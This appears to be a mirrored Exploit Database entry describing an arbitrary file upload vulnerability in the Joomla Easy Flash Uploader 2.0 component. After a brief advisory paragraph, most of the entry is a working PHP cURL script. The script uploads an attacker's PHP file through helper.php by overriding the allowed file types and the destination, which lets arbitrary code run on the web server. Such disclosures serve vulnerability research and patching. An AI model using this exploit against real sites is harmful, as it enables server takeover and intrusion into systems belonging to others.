Joomla! Component Easy Flash Uploader – ‘helper.php’ Arbitrary File Upload

• Exploit Database
• 10 阅读

• 作者： Sammy FORGIT
  日期： 2012-06-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37383/

• source: https://www.securityfocus.com/bid/53977/info
  
  The Easy Flash Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.
  
  An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.
  
  Easy Flash Uploader 2.0 is vulnerable; other versions may also be affected. 
  
  <?php
  
  $uploadfile="lo.php";
  
  $ch = 
  curl_init("http://www.example.com/plugins/content/efup_files/helper.php");
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS,
  array('Filedata'=>"@$uploadfile",
  'JPATH_BASE'=>'../../../',
  'filesize'=>'2000',
  'filetypes'=>'*.*',
  'mimetypes'=>"*",
  'destination'=>'./'));
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $postResult = curl_exec($ch);
  curl_close($ch);
  print "$postResult";
  
  ?>